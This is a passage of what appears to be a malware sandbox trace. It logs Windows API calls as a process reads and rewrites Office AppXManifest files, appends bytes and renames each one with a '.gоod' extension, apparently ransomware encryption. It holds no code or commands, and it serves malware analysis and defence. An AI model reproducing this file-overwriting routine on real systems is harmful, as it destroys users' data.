lpOldMode=0x1feed1d0) returned 1 [0126.627] GetFileType (hFile=0x618) returned 0x1 [0126.627] WriteFile (in: hFile=0x618, lpBuffer=0x3b67338*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x1feed248, lpOverlapped=0x0 | out: lpBuffer=0x3b67338*, lpNumberOfBytesWritten=0x1feed248*=0x4f0, lpOverlapped=0x0) returned 1 [0126.629] CloseHandle (hObject=0x618) returned 1 [0126.630] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0126.630] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml.gоod", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml.gоod", lpFilePart=0x0) returned 0x6d [0126.630] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed370) returned 1 [0126.630] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0x1feed450 | out: lpFileInformation=0x1feed450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83e3474a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83e3474a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x47afe20e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4f0)) returned 1 [0126.630] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed330) returned 1 [0126.630] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml.gоod" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml.gоod")) returned 1 [0126.631] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0126.631] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed3b0) returned 1 [0126.631] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0x3b686a0 | out: lpFileInformation=0x3b686a0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x834d1316, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x834d1316, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8351d7a8, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xfdea)) returned 1 [0126.631] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed370) returned 1 [0126.632] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecd90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0126.632] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed2b0) returned 1 [0126.632] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x618 [0126.632] GetFileType (hFile=0x618) returned 0x1 [0126.632] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed220) returned 1 [0126.632] GetFileType (hFile=0x618) returned 0x1 [0126.632] SetFilePointer (in: hFile=0x618, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1feed408*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1feed408*=0) returned 0x1000 [0126.632] ReadFile (in: hFile=0x618, lpBuffer=0x3b68be8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1feed3d8, lpOverlapped=0x0 | out: lpBuffer=0x3b68be8*, lpNumberOfBytesRead=0x1feed3d8*=0x1000, lpOverlapped=0x0) returned 1 [0126.634] CloseHandle (hObject=0x618) returned 1 [0126.634] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecd90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0126.634] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed2b0) returned 1 [0126.634] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x618 [0126.634] GetFileType (hFile=0x618) returned 0x1 [0126.634] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed220) returned 1 [0126.634] GetFileType (hFile=0x618) returned 0x1 [0126.634] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x1feed408*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1feed408*=0) returned 0xfdea [0126.634] WriteFile (in: hFile=0x618, lpBuffer=0x3b69f18*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1feed2f8, lpOverlapped=0x0 | out: lpBuffer=0x3b69f18*, lpNumberOfBytesWritten=0x1feed2f8*=0x10, lpOverlapped=0x0) returned 1 [0126.635] CloseHandle (hObject=0x618) returned 1 [0126.635] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecd90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0126.635] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed2b0) returned 1 [0126.635] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x618 [0126.635] GetFileType (hFile=0x618) returned 0x1 [0126.635] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed220) returned 1 [0126.635] GetFileType (hFile=0x618) returned 0x1 [0126.636] ReadFile (in: hFile=0x618, lpBuffer=0x3b6c270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1feed388, lpOverlapped=0x0 | out: lpBuffer=0x3b6c270*, lpNumberOfBytesRead=0x1feed388*=0x1000, lpOverlapped=0x0) returned 1 [0126.805] CloseHandle (hObject=0x618) returned 1 [0126.805] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecd90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0126.805] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed2b0) returned 1 [0126.805] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x618 [0126.805] GetFileType (hFile=0x618) returned 0x1 [0126.805] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed220) returned 1 [0126.805] GetFileType (hFile=0x618) returned 0x1 [0126.805] WriteFile (in: hFile=0x618, lpBuffer=0x3409550*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1feed438, lpOverlapped=0x0 | out: lpBuffer=0x3409550*, lpNumberOfBytesWritten=0x1feed438*=0x1010, lpOverlapped=0x0) returned 1 [0126.806] CloseHandle (hObject=0x618) returned 1 [0126.806] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0126.806] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml.gоod", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml.gоod", lpFilePart=0x0) returned 0x6d [0126.806] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed370) returned 1 [0126.806] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0x1feed450 | out: lpFileInformation=0x1feed450*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x834d1316, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x834d1316, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x47cc80ec, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xfdfa)) returned 1 [0126.806] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed330) returned 1 [0126.806] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml.gоod" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml.gоod")) returned 1 [0126.807] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0126.807] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed3b0) returned 1 [0126.807] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0x34bd748 | out: lpFileInformation=0x34bd748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83ea71ba, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83ea71ba, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x841a1e52, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed)) returned 1 [0126.807] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed370) returned 1 [0126.807] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecd40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0126.807] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed260) returned 1 [0126.807] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x618 [0126.807] GetFileType (hFile=0x618) returned 0x1 [0126.807] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed1d0) returned 1 [0126.807] GetFileType (hFile=0x618) returned 0x1 [0126.807] GetFileSize (in: hFile=0x618, lpFileSizeHigh=0x1feed408 | out: lpFileSizeHigh=0x1feed408*=0x0) returned 0x4ed [0126.807] ReadFile (in: hFile=0x618, lpBuffer=0x34be010, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1feed338, lpOverlapped=0x0 | out: lpBuffer=0x34be010*, lpNumberOfBytesRead=0x1feed338*=0x4ed, lpOverlapped=0x0) returned 1 [0126.809] CloseHandle (hObject=0x618) returned 1 [0127.051] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed260) returned 1 [0127.051] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0127.052] GetFileType (hFile=0x630) returned 0x1 [0127.052] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed1d0) returned 1 [0127.052] GetFileType (hFile=0x630) returned 0x1 [0127.052] WriteFile (in: hFile=0x630, lpBuffer=0x34beb08*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x1feed248, lpOverlapped=0x0 | out: lpBuffer=0x34beb08*, lpNumberOfBytesWritten=0x1feed248*=0x4f0, lpOverlapped=0x0) returned 1 [0127.053] CloseHandle (hObject=0x630) returned 1 [0127.053] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0127.053] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml.gоod", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml.gоod", lpFilePart=0x0) returned 0x6d [0127.053] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed370) returned 1 [0127.053] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0x1feed450 | out: lpFileInformation=0x1feed450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83ea71ba, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83ea71ba, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x47f04250, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4f0)) returned 1 [0127.054] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed330) returned 1 [0127.054] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml.gоod" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml.gоod")) returned 1 [0127.055] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0127.055] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed3b0) returned 1 [0127.055] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0x34bfe70 | out: lpFileInformation=0x34bfe70*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf982bd9c, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xf982bd9c, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xf98c485a, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x4ed)) returned 1 [0127.055] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed370) returned 1 [0127.056] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecd40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0127.056] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed260) returned 1 [0127.056] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0127.056] GetFileType (hFile=0x630) returned 0x1 [0127.056] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed1d0) returned 1 [0127.056] GetFileType (hFile=0x630) returned 0x1 [0127.056] GetFileSize (in: hFile=0x630, lpFileSizeHigh=0x1feed408 | out: lpFileSizeHigh=0x1feed408*=0x0) returned 0x4ed [0127.056] ReadFile (in: hFile=0x630, lpBuffer=0x34c0738, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1feed338, lpOverlapped=0x0 | out: lpBuffer=0x34c0738*, lpNumberOfBytesRead=0x1feed338*=0x4ed, lpOverlapped=0x0) returned 1 [0127.057] CloseHandle (hObject=0x630) returned 1 [0127.850] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed260) returned 1 [0127.850] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0127.852] GetFileType (hFile=0x630) returned 0x1 [0127.852] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed1d0) returned 1 [0127.852] GetFileType (hFile=0x630) returned 0x1 [0127.852] WriteFile (in: hFile=0x630, lpBuffer=0x3678048*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x1feed248, lpOverlapped=0x0 | out: lpBuffer=0x3678048*, lpNumberOfBytesWritten=0x1feed248*=0x4f0, lpOverlapped=0x0) returned 1 [0127.853] CloseHandle (hObject=0x630) returned 1 [0127.853] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0127.853] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml.gоod", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml.gоod", lpFilePart=0x0) returned 0x6d [0127.853] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed370) returned 1 [0127.853] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0x1feed450 | out: lpFileInformation=0x1feed450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf982bd9c, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xf982bd9c, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0x486c3c49, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4f0)) returned 1 [0127.853] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed330) returned 1 [0127.853] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml.gоod" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml.gоod")) returned 1 [0127.854] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0127.854] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed3b0) returned 1 [0127.854] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0x36793b0 | out: lpFileInformation=0x36793b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x839bc0c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x839bc0c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2400)) returned 1 [0127.854] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed370) returned 1 [0127.854] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecd90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0127.854] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed2b0) returned 1 [0127.854] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0127.855] GetFileType (hFile=0x630) returned 0x1 [0127.855] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed220) returned 1 [0127.855] GetFileType (hFile=0x630) returned 0x1 [0127.855] SetFilePointer (in: hFile=0x630, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1feed408*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1feed408*=0) returned 0x1000 [0127.855] ReadFile (in: hFile=0x630, lpBuffer=0x36798f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1feed3d8, lpOverlapped=0x0 | out: lpBuffer=0x36798f8*, lpNumberOfBytesRead=0x1feed3d8*=0x1000, lpOverlapped=0x0) returned 1 [0127.856] CloseHandle (hObject=0x630) returned 1 [0127.856] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml", nBufferLength=0x105, 